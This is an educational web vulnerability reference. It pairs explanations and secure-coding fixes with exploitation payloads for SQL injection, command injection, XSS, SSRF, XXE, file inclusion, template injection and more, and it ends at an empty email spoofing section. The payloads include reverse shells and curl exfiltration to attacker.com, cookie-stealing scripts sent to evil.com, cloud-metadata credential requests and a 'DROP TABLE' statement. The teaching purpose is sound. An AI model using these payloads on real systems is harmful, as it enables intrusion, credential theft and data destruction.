Web Vulnerabilities

Complete reference guide to 56 web application security vulnerabilities. Learn how each vulnerability works, how to exploit it with real payloads, and how to prevent it with secure coding practices. Covers injection attacks, cross-site scripting, authentication flaws, access control issues, server-side vulnerabilities, and more.

SQL Injection

Critical OWASP Top 10 Injection

SQL Injection (SQLi) is a vulnerability that allows an attacker to interfere with the queries an application makes to its database. By inserting malicious SQL code into user input, an attacker can bypass authentication, access unauthorized data, modify or delete data, and in some cases execute administrative operations on the database server.

SQL injection is one of the oldest, most prevalent, and most dangerous web application vulnerabilities. It consistently ranks in the OWASP Top 10 and has been responsible for massive data breaches at companies including Sony, Heartland Payment Systems, and TalkTalk.

Types of SQL Injection

  • Union-based - Uses the UNION SQL keyword to combine the results of the original query with results from injected queries, allowing data extraction from other tables.
  • Boolean-based (Blind) - Infers information by sending queries that return TRUE or FALSE and observing differences in the application's response.
  • Time-based (Blind) - Uses database functions like SLEEP() or BENCHMARK() to cause time delays, inferring data based on response times.
  • Error-based - Forces the database to generate error messages that reveal information about the database structure.
  • Out-of-band - Uses alternative channels (DNS, HTTP requests from the database server) to exfiltrate data when in-band techniques are not feasible.

Vulnerable Code Example (PHP)

php - VULNERABLE
// VULNERABLE: Direct string concatenation in query
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '" . $id . "'";
$result = mysqli_query($conn, $query);

// Attacker input: ' OR 1=1--
// Resulting query:
// SELECT * FROM users WHERE id = '' OR 1=1--'
// This returns ALL rows from the users table!

Exploitation Payloads

sql - payloads
# Authentication bypass
' OR 1=1--
' OR '1'='1'/*
admin'--

# Union-based data extraction
' UNION SELECT null,username,password FROM users--
' UNION ALL SELECT null,table_name,null FROM information_schema.tables--
' UNION SELECT null,concat(column_name,':',table_name),null FROM information_schema.columns--

# Time-based blind
' OR IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(5),0)--

# Error-based extraction
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--

# Stacked queries (if supported)
'; DROP TABLE users;--

Prevention

php - SECURE (parameterized query)
// SECURE: Prepared statement with parameterized query
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

// The database treats user input as DATA, never as code
Severity: Critical

SQL injection can lead to complete database compromise, including reading/modifying all data, executing admin operations, and in some cases OS command execution. Always use parameterized queries and never concatenate user input into SQL statements.

Prevention

Use parameterized queries / prepared statements, input validation with allowlists, stored procedures, ORM abstraction layers, implement least-privilege database accounts, and deploy a WAF as defense-in-depth.

Command Injection

Critical Injection

Command Injection (also known as OS Command Injection) occurs when an application passes unsafe user-supplied data to a system shell. An attacker can execute arbitrary operating system commands on the server, potentially gaining full control of the system.

This vulnerability typically arises when applications use functions like system(), exec(), passthru(), or shell_exec() in PHP, or os.system() in Python, with unsanitized input.

Vulnerable Code Example

php - VULNERABLE (ping utility)
// VULNERABLE: User input directly in shell command
$host = $_GET['host'];
exec("ping -c 4 " . $host, $output);

// Attacker input: 8.8.8.8; cat /etc/passwd
// Executed: ping -c 4 8.8.8.8; cat /etc/passwd
// Both commands execute!

Exploitation Payloads

shell - payloads
# Command chaining
; cat /etc/passwd
| cat /etc/passwd
|| cat /etc/passwd
&& cat /etc/passwd

# Reverse shell
; nc -e /bin/bash attacker.com 4444
| bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Blind command execution with output redirect
; whoami > /var/www/html/output.txt
; curl http://attacker.com/$(cat /etc/passwd | base64)

# Backtick execution
`cat /etc/passwd`
$(cat /etc/passwd)

Prevention

python - SECURE (subprocess with args)
import subprocess
import re

# SECURE: Use subprocess with argument list (no shell=True)
def ping_host(hostname):
    # Validate input against allowlist pattern
    if not re.match(r"^[a-zA-Z0-9.\-]+$", hostname):
        raise ValueError("Invalid hostname")

    # Pass arguments as a list - no shell interpretation
    result = subprocess.run(
        ["ping", "-c", "4", hostname],
        capture_output=True,
        timeout=30
    )
    return result.stdout.decode()
Prevention Tips

Avoid shell execution entirely - use language-native APIs instead of shelling out. If you must use shell commands, validate input against a strict allowlist, use subprocess.run() with argument lists (never shell=True), and run the application with the least privileges necessary.

LDAP Injection

High Injection

LDAP Injection is an attack that exploits applications that construct LDAP (Lightweight Directory Access Protocol) statements from user input. LDAP is commonly used for authentication systems and directory services (Active Directory, OpenLDAP). By injecting special LDAP metacharacters, an attacker can modify the query logic, bypass authentication, or extract sensitive directory information.

Vulnerable Code Example

java - VULNERABLE
// VULNERABLE: User input in LDAP filter
String username = request.getParameter("username");
String filter = "(&(uid=" + username + ")(userPassword=*))";

// Attacker input: *)(uid=*))(|(uid=*
// Resulting filter:
// (&(uid=*)(uid=*))(|(uid=*)(userPassword=*))
// This matches ALL users, bypassing authentication!

Exploitation

ldap - payloads
# Authentication bypass
*)(uid=*))(|(uid=*
admin)(!(password=*

# Wildcard injection to list all users
*
*)(objectClass=*
Prevention

Escape all LDAP metacharacters in user input (*, (, ), \, NUL), use parameterized LDAP queries, validate input against strict patterns, and use the principle of least privilege for LDAP service accounts.

NoSQL Injection

High Injection

NoSQL Injection targets applications using non-relational databases (MongoDB, CouchDB, Cassandra, Redis) by injecting operator expressions or malicious JSON structures into queries. Unlike SQL injection, NoSQL injection often exploits the query language operators and data structure rather than string-based queries.

MongoDB Injection Example

javascript - VULNERABLE
// VULNERABLE: Direct use of user input in MongoDB query
const user = await db.collection('users').findOne({
    username: req.body.username,
    password: req.body.password
});

// Attack: Send JSON with operator expression
// { "username": "admin", "password": {"$gt": ""} }
// The $gt operator matches any string, bypassing authentication!

Exploitation

json - payloads
# Authentication bypass with $gt
{"username": "admin", "password": {"$ne": ""}}

# Authentication bypass with $regex
{"username": "admin", "password": {"$regex": ".*"}}

# Extract all users with $where
{"$where": "function() { return true; }"}
Prevention

Enforce strict type checking on all input (reject objects/operators), use schema validation (Mongoose, Joi), sanitize input before passing to database queries, and disable server-side JavaScript execution ($where) in MongoDB.

Cross-Site Scripting (XSS)

High OWASP Top 10 Cross-Site

Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. XSS is one of the most common web vulnerabilities and can lead to session hijacking, credential theft, defacement, and malware distribution.

Types of XSS

1. Stored XSS (Persistent)

The malicious script is permanently stored on the target server (in a database, comment field, forum post, etc.). Every user who views the affected page executes the script.

html - Stored XSS example
<!-- Attacker posts this as a comment -->
<script>
  document.location='https://evil.com/steal?c='+document.cookie
</script>

<!-- Or using an image tag -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- Or SVG onload -->
<svg onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vZXZpbC5jb20vc3RlYWw/Yz0nK2RvY3VtZW50LmNvb2tpZQ=='))">

2. Reflected XSS (Non-persistent)

The malicious script is reflected off the server in error messages, search results, or any URL parameter without being stored. The victim must click a crafted link to trigger the attack.

http - Reflected XSS
# URL with injected script in search parameter
https://vulnerable.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

# Server reflects the unsanitized input in the response:
<h1>Search results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></h1>

3. DOM-based XSS

The vulnerability exists entirely in client-side JavaScript. The attack payload never reaches the server - it modifies the DOM environment so the client-side code executes differently.

javascript - DOM XSS
// VULNERABLE: Directly using location.hash in innerHTML
document.getElementById('output').innerHTML = location.hash.substring(1);

// Attack URL:
// https://vulnerable.com/page#<img src=x onerror=alert(document.cookie)>

Prevention

html - SECURE (output encoding + CSP)
<!-- Content Security Policy header -->
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

<!-- For DOM manipulation, use textContent instead of innerHTML -->
document.getElementById('output').textContent = userInput;

<!-- Use DOMPurify for rich content sanitization -->
<script>
  const clean = DOMPurify.sanitize(dirtyHTML);
  document.getElementById('output').innerHTML = clean;
</script>
Impact

XSS can lead to session hijacking, credential theft, keylogging, phishing, defacement, redirection to malicious sites, and installation of malware. Stored XSS is especially dangerous as it affects every user who views the infected content.

Prevention

Use context-appropriate output encoding (HTML, JavaScript, URL, CSS), implement Content Security Policy (CSP), validate and sanitize input with allowlists, use DOMPurify for client-side HTML sanitization, and avoid innerHTML / document.write() with user data.

Cross-Site Request Forgery (CSRF)

High Cross-Site

CSRF (also known as XSRF or "sea-surf") tricks an authenticated user's browser into making unintended requests to a web application. The attacker exploits the trust that a site has in the user's browser, leveraging existing session cookies to perform actions without the user's knowledge.

Attack Example

html - CSRF via hidden form
<!-- Attacker hosts this on evil.com -->
<html>
<body onload="document.getElementById('csrf-form').submit()">
  <form id="csrf-form" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker-account" />
    <input type="hidden" name="amount" value="10000" />
  </form>
</body>
</html>

<!-- Or via image tag (GET-based) -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

Prevention

python - CSRF token protection
from flask import Flask, request, abort
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)

# Generate CSRF token per session
def generate_csrf_token():
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_urlsafe(32)
    return session['csrf_token']

# Validate CSRF token on state-changing requests
@app.route("/transfer", methods=["POST"])
def transfer():
    if request.form.get('csrf_token') != session.get('csrf_token'):
        abort(403, description="Invalid CSRF token")
    # Process transfer...
Prevention

Implement anti-CSRF tokens (synchronizer token pattern), use SameSite=Strict or SameSite=Lax cookies, require custom headers for AJAX requests (e.g., X-Requested-With), use the double-submit cookie pattern, and avoid GET requests for state-changing operations.

Cross-Site Script Inclusion (XSSI)

Medium Cross-Site

XSSI is a variant of XSS that targets JSON-based APIs. An attacker includes a cross-origin JSON response via a <script> tag. If the JSON response begins with a variable assignment or function call, the browser executes it, potentially leaking sensitive data from the JSON payload.

Attack Example

javascript - XSSI attack
// If the API returns JSONP-style responses:
// handleData({"secret": "API_KEY", "user": "admin"})

// Attacker includes it on their page:
<script src="https://api.target.com/userdata?callback=steal"></script>

// The browser executes the response, sending data to attacker
Prevention

Use strict CORS policies, don't use JSONP, require custom headers (e.g., X-Requested-With) for sensitive data responses, add X-Content-Type-Options: nosniff, and use proper Content-Type headers.

Server-Side Request Forgery (SSRF)

Critical OWASP Top 10 Server-Side

SSRF occurs when a web application fetches a remote resource based on a user-controlled URL without proper validation. The attacker can coerce the application to send requests to internal services, cloud metadata endpoints, file systems, and other unintended destinations.

Exploitation

http - SSRF payloads
# Access cloud metadata (AWS)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Internal network scanning
http://192.168.1.1:8080/admin
http://10.0.0.1/

# File reads via file:// protocol
file:///etc/passwd
file:///proc/self/environ

# Protocol smuggling
gopher://127.0.0.1:6379/_INFO%0D%0A
dict://127.0.0.1:6379/INFO

# Cloud metadata (GCP)
http://metadata.google.internal/computeMetadata/v1/

Prevention

python - URL allowlist validation
from urllib.parse import urlparse
import ipaddress

# SECURE: Validate URL against allowlist
ALLOWED_HOSTS = ["api.example.com", "cdn.example.com"]

def validate_url(url):
    parsed = urlparse(url)

    # Only allow specific schemes
    if parsed.scheme not in ["http", "https"]:
        raise ValueError("Only HTTP/HTTPS allowed")

    # Check against allowlist
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("Host not allowed")

    # Block internal IPs
    ip = ipaddress.ip_address(parsed.hostname)
    if ip.is_private or ip.is_loopback:
        raise ValueError("Internal addresses blocked")

    return url
Severity: Critical

SSRF can lead to internal network scanning, access to cloud metadata (including IAM credentials), file reads, and pivoting to internal services. In cloud environments, SSRF is often the most critical vulnerability due to the potential for full cloud account takeover.

Prevention

Validate and sanitize all user-supplied URLs, enforce URL allowlists, block non-HTTP(S) protocols, prevent access to internal IP ranges, use network segmentation, disable HTTP redirections, and implement IMDSv2 for cloud metadata.

XML External Entity (XXE)

Critical OWASP Top 10 Server-Side

XXE vulnerabilities occur when an XML parser processes user-supplied XML that contains external entity references. By defining custom entities that reference local files or internal network resources, attackers can read files, perform SSRF, and in some cases achieve remote code execution.

XXE Payload

xml - XXE payload
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- Blind XXE - exfiltrate via HTTP -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/steal?data=file:///etc/passwd">
]>

<!-- Parameter Entity (inside DTD) -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

Prevention

python - SECURE XML parsing
from defusedxml import ElementTree

# SECURE: Use defusedxml to prevent XXE
tree = ElementTree.parse(xml_file)
root = tree.getroot()

# Or in Python's built-in parser:
import xml.etree.ElementTree as ET

# Disable DTD processing and external entities
parser = ET.XMLParser()
parser.parser.DefaultHandler = None

# Best option: use JSON instead of XML where possible
Prevention

Disable DTDs entirely, disable external entity resolution, use defusedxml library, prefer JSON over XML, and configure XML parsers with the most restrictive security settings.

File Upload Vulnerabilities

Critical Server-Side

File Upload Vulnerabilities occur when an application allows users to upload files without properly validating the file type, content, or destination. Attackers can upload malicious files including web shells, PHP scripts, or executable binaries to gain remote code execution.

Bypass Techniques

shell - upload bypass techniques
# Double extensions
shell.php.jpg
shell.php.png

# Null byte injection (legacy systems)
shell.php%00.jpg

# MIME type manipulation
Change Content-Type to: image/jpeg
But upload a .php file

# Case variation
shell.pHp
shell.PhP

# Alternative extensions
shell.php3, shell.php4, shell.php5, shell.phtml
shell.asp, shell.aspx, shell.jsp
Impact

A successful file upload attack can lead to Remote Code Execution (RCE) through web shells, full server compromise, data exfiltration, and lateral movement within the network.

Prevention

Validate file type using magic bytes (not just extension), rename uploaded files, store files outside the webroot, set restrictive file permissions, scan for malware, implement size limits, use a CDN for file serving, and block executable file types.

Local / Remote File Inclusion (LFI/RFI)

Critical Server-Side

File Inclusion vulnerabilities allow an attacker to include files from the local server (LFI) or a remote server (RFI) through user-controlled input. This can lead to code execution, data disclosure, and in some cases full server takeover.

LFI Exploitation

text - LFI/RFI payloads
# Basic directory traversal
../../../../etc/passwd
....//....//....//....//etc/passwd

# Log poisoning for RCE
Inject PHP code into User-Agent, then include log file:
?page=../../../../var/log/apache2/access.log

# PHP wrappers for code execution
?page=php://input  (POST body as PHP code)
?page=data://text/plain,<?php system('id'); ?>
?page=php://filter/convert.base64-encode/resource=index.php

# RFI - include remote file
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txt
Prevention

Use a whitelist of allowed files, disable remote file inclusion (allow_url_include=Off in PHP), validate and sanitize file paths, remove path traversal characters, and use a mapping/indirection system to reference files by ID instead of filename.

Server-Side Template Injection (SSTI)

Critical Server-Side

SSTI occurs when user input is embedded into a server-side template without proper sanitization. If an attacker can inject template directives, they may achieve Remote Code Execution through the template engine's capabilities.

Detection and Exploitation

text - SSTI payloads by engine
# Detection - test for template injection
{{7*7}}  →  49 (Jinja2/Twig/Mustache)
#{7*7}   →  49 (ERB/Ruby)
${7*7}   →  49 (Freemarker/Thymeleaf)

# Jinja2 (Python Flask) RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP) RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java) RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Prevention

Never embed user input directly into templates, use sandboxed template environments, validate and sanitize all input, use the template engine's built-in escaping functions, and consider using a different approach for dynamic content (e.g., client-side rendering).

Session Fixation

High Authentication

Session Fixation occurs when an attacker can set a victim's session ID before they authenticate. After the victim logs in with the known session ID, the attacker can use that session ID to hijack the authenticated session. The attack exploits the fact that the session ID doesn't change after authentication.

Attack Flow

text - attack flow
1. Attacker obtains a valid session ID from the target app
2. Attacker crafts a URL with the session ID:
   https://target.com/login?session_id=ABC123
3. Victim clicks the link and logs in
4. Session ID "ABC123" is now authenticated
5. Attacker uses "ABC123" to access the victim's session
Prevention

Regenerate session ID after login, set HttpOnly and Secure flags on session cookies, use SameSite=Strict, implement session timeout, and invalidate old session tokens.

Password Mismanagement

High Authentication

Password Mismanagement encompasses weak password policies, insecure storage (plaintext or weak hashing), lack of brute-force protection, credential stuffing vulnerability, and password reset flaws. Poor password handling is one of the most common and impactful security failures.

Common Issues

text - common password issues
# Weak hashing (easily crackable)
md5(password)        → vulnerable to rainbow tables
sha1(password)       → vulnerable to collision attacks
sha256(password)     → fast hash, brute-forceable

# No rate limiting on login attempts
→ Enables brute-force and credential stuffing

# Plaintext password storage
→ Full exposure on database breach

# Predictable password reset tokens
→ Account takeover via token guessing
python - SECURE password hashing
import bcrypt
from argon2 import PasswordHasher

# Option 1: Argon2 (recommended - winner of Password Hashing Competition)
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4)
hashed = ph.hash(password)
ph.verify(hashed, password)  # Returns True or raises exception

# Option 2: bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
bcrypt.checkpw(password.encode(), hashed)

# Option 3: PBKDF2 (built into many frameworks)
import hashlib, os
salt = os.urandom(32)
key = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000)
Prevention

Use bcrypt, Argon2, or PBKDF2 for password hashing, enforce strong password policies, implement account lockout / rate limiting, require MFA, use secure password reset flows with time-limited tokens, and never store plaintext passwords.

Broken Authentication

Critical OWASP Top 10 Authentication

Broken Authentication encompasses flaws in authentication mechanisms including credential stuffing, brute force, weak passwords, missing MFA, improper session management, and flawed credential recovery. Attackers may gain full control of user accounts.

Common Vulnerabilities

  • Permits automated attacks (credential stuffing, brute force)
  • Allows use of weak passwords
  • Missing or ineffective multi-factor authentication
  • Exposes session identifiers in the URL
  • Does not properly invalidate sessions on logout
  • Session tokens not regenerated after login
Prevention

Implement MFA, enforce strong password policies, apply rate limiting and account lockout, use secure session management, invalidate sessions on logout, use server-side session storage, and monitor for brute-force attacks.

IDOR (Insecure Direct Object Reference)

High OWASP Top 10 Access Control

IDOR occurs when an application exposes internal object references (database IDs, file paths, primary keys) without access control checks. By modifying the object identifier in a request, an attacker can access other users' resources.

Exploitation

http - IDOR attack
# Legitimate request - user accesses their own invoice
GET /api/invoices/12345
Authorization: Bearer eyJhbG...

# ATTACK: Change the ID to access another user's invoice
GET /api/invoices/12346
Authorization: Bearer eyJhbG...

# Server returns the other user's data!
Prevention

Always verify the authenticated user owns the requested resource, use indirect references (UUIDs, slugs), implement proper access control checks, avoid exposing sequential IDs, and use an authorization layer that enforces ownership.

Broken Access Control

Critical OWASP #1 Access Control

Broken Access Control is the #1 vulnerability in the OWASP Top 10 (2021). It encompasses restrictions on what authenticated users are allowed to do being improperly enforced. Attackers can exploit these flaws to access unauthorized functionality and data, including other users' accounts, admin functions, and sensitive files.

Common Vulnerabilities

  • Bypassing access control checks by modifying the URL, API requests, or HTML page
  • Allowing viewing/editing of someone else's account by providing its unique identifier
  • Accessing API with missing access controls for POST, PUT, and DELETE
  • Elevating privileges by acting as a user without being logged in or as admin when logged in as a user
  • Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user
Prevention

Deny by default, implement access control checks consistently, enforce record ownership, disable directory listing, log and alert on access control failures, rate-limit API access, and invalidate JWT tokens on the server.

Privilege Escalation

Critical Access Control

Privilege Escalation occurs when an attacker gains higher privileges than intended. This includes vertical escalation (regular user → admin) and horizontal escalation (accessing other users' privileges). In web applications, this often happens through broken access control, IDOR, or misconfigured authorization.

Types

  • Vertical Privilege Escalation - Gaining higher-level permissions (e.g., regular user to admin)
  • Horizontal Privilege Escalation - Accessing resources of other users at the same privilege level
Prevention

Apply the principle of least privilege, validate permissions on every request, implement role-based access control (RBAC), never rely on client-side authorization, and audit user permissions regularly.

CORS Misconfiguration

Medium Configuration

CORS (Cross-Origin Resource Sharing) Misconfiguration occurs when an application sets overly permissive CORS policies, allowing unauthorized cross-origin access to sensitive data. The most dangerous configuration is reflecting the Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true.

Vulnerable Configuration

http - VULNERABLE CORS config
# VULNERABLE: Reflects any origin with credentials
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# This allows evil.com to make authenticated requests
# to the API and read the responses!

# SECURE: Specific allowed origins, no credentials wildcard
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Prevention

Validate the Origin header against a strict allowlist, never reflect arbitrary origins with credentials, don't use Access-Control-Allow-Origin: * with authenticated endpoints, and properly handle preflight OPTIONS requests.

Open Redirect

Medium Configuration

Open Redirect vulnerabilities occur when an application redirects users to a URL specified in user-controlled input without proper validation. Attackers use these to redirect victims from trusted domains to malicious sites, enabling phishing attacks and OAuth token theft.

Exploitation

http - open redirect payload
# Phishing via trusted domain
https://trusted.com/redirect?url=https://evil.com

# OAuth authorization code theft
https://auth.trusted.com/oauth/authorize?
    client_id=APP_ID&
    redirect_uri=https://trusted.com/callback/../evil.com/steal&
    response_type=code

# Filter bypass techniques
//evil.com
/\/\evil.com
https:evil.com
%2F%2Fevil.com
Prevention

Validate redirect URLs against a strict allowlist of trusted domains, don't use user-supplied URLs for redirects, display a warning page before redirecting to external sites, and use relative URLs where possible.

Security Misconfiguration

High OWASP Top 10 Configuration

Security Misconfiguration is the most common vulnerability, present in approximately 90% of applications. It includes insecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, verbose error messages, and unnecessary features enabled.

Common Issues

  • Default credentials still enabled (admin/admin)
  • Unnecessary features, services, or ports enabled
  • Missing security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options)
  • Verbose error messages revealing stack traces or internal paths
  • Directory listing enabled on web servers
  • Open S3 buckets or cloud storage permissions
  • Debug mode enabled in production
nginx - security headers
# Security headers configuration
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Prevention

Implement hardened, repeatable build processes, use minimal platforms with only required features, review and update cloud permissions regularly, implement segmented application architecture, and conduct regular security audits.

Clickjacking (UI Redressing)

Medium Other

Clickjacking (also known as UI Redressing or UI Overlay Attack) is a technique where an attacker loads the target site in a transparent iframe and overlays it with a decoy page. When the user interacts with what they think is the decoy, they're actually clicking on the hidden target application.

Attack Example

html - clickjacking iframe
<style>
  .target-frame { position: relative; width: 800px; height: 600px; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 0; left: 0; z-index: 1; }
</style>

<div class="decoy">
  <button>Click here to win a prize!</button>
</div>

<iframe src="https://target.com/delete-account"
        class="target-frame"></iframe>
<!-- User thinks they click "win prize" but actually clicks "delete account" -->
Prevention

Use X-Frame-Options: DENY or SAMEORIGIN, implement Content-Security-Policy: frame-ancestors 'none', use sandbox attribute on iframes, and implement CSRF tokens for sensitive actions.

Information Leakage

Medium Other

Information Leakage occurs when an application exposes sensitive information through error messages, response headers, debug pages, source code comments, or verbose output. This information assists attackers in mapping the attack surface and crafting targeted exploits.

Common Sources

  • Server headers - Server: Apache/2.4.41, X-Powered-By: PHP/7.4
  • Verbose error pages - Stack traces, database errors, internal file paths
  • Source code comments - API keys, credentials, TODO notes, internal URLs
  • Debug endpoints - /debug, /phpinfo(), /actuator
  • Backup files - web.config.bak, wp-config.php~
  • Version control - Exposed .git directory
Prevention

Use custom error pages, remove server version headers, disable debug mode in production, never commit secrets to code, scan for exposed sensitive files and endpoints, and use security scanners to identify information leakage.

Insecure Design

High OWASP Top 10 Other

Insecure Design refers to security flaws that originate in the design and architecture phase rather than implementation bugs. These are fundamental weaknesses in the application's security architecture that cannot be fixed by a perfect implementation. Unlike other vulnerabilities, insecure design cannot be fixed by a straightforward implementation-level fix.

Common Issues

  • Missing threat modeling during design
  • Lack of abuse case development and security user stories
  • Missing or ineffective security controls in the architecture
  • No rate limiting on critical business flows
  • Missing security architecture patterns
Prevention

Establish a Secure Development Lifecycle (SDLC), perform threat modeling during design, write and reuse secure design patterns and reference architectures, implement defense in depth, conduct design reviews with security experts, and use abuse case / misuse case testing.

CSS Injection

Medium Other

CSS Injection occurs when an attacker can inject or manipulate CSS content in a web application. While less common than XSS, CSS injection can be used for data exfiltration through attribute selectors, keylogging via CSS timing attacks, and UI manipulation (clickjacking, visual spoofing).

Data Exfiltration via CSS

css - attribute selector exfiltration
/* Exfiltrate CSRF token character by character */
input[name="csrf"][value^="a"] { background: url(https://evil.com/log?a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/log?b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/log?c) }
/* ... repeat for each character ... */

/* Keylogging via CSS */
input:focus { background: url(https://evil.com/log?key=a); }
input[value*="b"] { background: url(https://evil.com/log?key=b); }
Prevention

Sanitize all CSS input, implement CSP to restrict external resource loading, use Content Security Policy style-src directive, validate and escape user-supplied CSS, and avoid injecting user data into CSS contexts.

Host Header Poisoning

Medium Other

Host Header Poisoning occurs when an application uses the Host header from HTTP requests without validation. Attackers can manipulate this header to poison cache entries, hijack password reset links, bypass access controls, or perform web cache poisoning.

Attack Vectors

http - host header attack
# Password reset poisoning
POST /forgot-password
Host: evil.com

# The reset link sent to victim contains attacker's domain:
https://evil.com/reset?token=SECRET_TOKEN

# Cache poisoning via duplicate Host headers
GET /page
Host: target.com
Host: evil.com
Prevention

Validate the Host header against a whitelist of allowed hostnames, use server_name directives in Nginx/Apache, hardcode URLs for password reset links instead of using the Host header, and implement proper cache key validation.

XML Bombs (Billion Laughs Attack)

Medium Other

XML Bombs (also known as the Billion Laughs Attack or XML Entity Expansion) exploit XML parsers by defining nested entities that expand exponentially. A small XML payload (a few KB) can expand to gigabytes in memory, causing denial of service by exhausting CPU and memory.

XML Bomb Payload

xml - Billion Laughs attack
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!-- Each level multiplies by 10, resulting in 10^9 "lol" strings -->
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
<!-- 1.5KB payload expands to ~3GB in memory -->
Prevention

Disable DTDs entirely, limit XML entity expansion depth, set maximum parser limits (entity count, expansion size), use defusedxml libraries, and prefer JSON over XML where possible.

Weak Session Identifiers

High Other

Weak Session Identifiers occur when session tokens are predictable, insufficiently random, too short, or use weak generation algorithms. If an attacker can predict or guess a session token, they can hijack any user's session without knowing their credentials.

Vulnerable vs Secure Examples

text - session ID comparison
# WEAK: Predictable session IDs
session_id = user_id + timestamp       → predictable
session_id = md5(username)             → rainbow table attack
session_id = sequential_counter        → trivially guessable

# STRONG: Cryptographically random session IDs
session_id = secrets.token_urlsafe(32) → 256 bits of entropy
session_id = os.urandom(32).hex()      → cryptographically secure
Prevention

Use cryptographically secure random number generators, ensure session IDs are at least 128 bits of entropy, set HttpOnly, Secure, and SameSite flags, regenerate session IDs after authentication, and implement session timeout.

Denial of Service (DoS)

High Other

Denial of Service makes an application unavailable to legitimate users by exhausting resources. When distributed across many attackers, it becomes a DDoS attack. DoS attacks can target network bandwidth, protocol processing, or application logic.

Types of DoS Attacks

  • Volumetric - Flooding bandwidth (UDP flood, DNS amplification)
  • Protocol - Exploiting protocol weaknesses (SYN flood, Ping of Death)
  • Application Layer - Targeting application logic (Slowloris, HTTP flood, ReDoS)
  • Resource Exhaustion - Large file uploads, expensive queries, nested object attacks
Prevention

Implement rate limiting and request throttling, use WAF and DDoS protection (Cloudflare, AWS Shield), set resource limits (CPU, memory, file size), implement connection timeouts, use CDNs for content delivery, and monitor for traffic anomalies.

DNS Poisoning

High Other

DNS Poisoning (also known as DNS cache poisoning or DNS spoofing) corrupts the DNS cache of a resolver, causing it to return incorrect IP addresses and redirect traffic to malicious servers. This can be used for phishing, malware distribution, and man-in-the-middle attacks.

Attack Techniques

  • Cache poisoning - Injecting forged DNS records into a resolver's cache
  • Birthday attack - Exploiting DNS transaction IDs (16-bit) to inject fake responses
  • Kaminsky attack - Combining cache poisoning with subdomain enumeration
  • Local DNS poisoning - Modifying hosts file or local DNS settings
Prevention

Implement DNSSEC for domain authentication, use DNS over HTTPS (DoH) or DNS over TLS (DoT), monitor DNS records for unauthorized changes, use trusted DNS resolvers, and implement certificate pinning for sensitive applications.

Email Spoofing

Medium Other

Email Spoofing is the creation of emails with forged sender addresses. Attackers can send emails that appear to come from a trusted source, enabling phishing, business email compromise (BEC), and social engineering attacks.

Prevention: Email Authentication Standards

dns - email authentication records
# SPF (Sender Policy Framework) - defines which IPs can send email
example.com.  IN TXT "v=spf1 ip4:192.168.1.0/24 -all"

# DKIM (DomainKeys Identified Mail) - cryptographic signature
selector._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCS..."

# DMARC (Domain-based Message Authentication) - policy for failures
_dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
Prevention

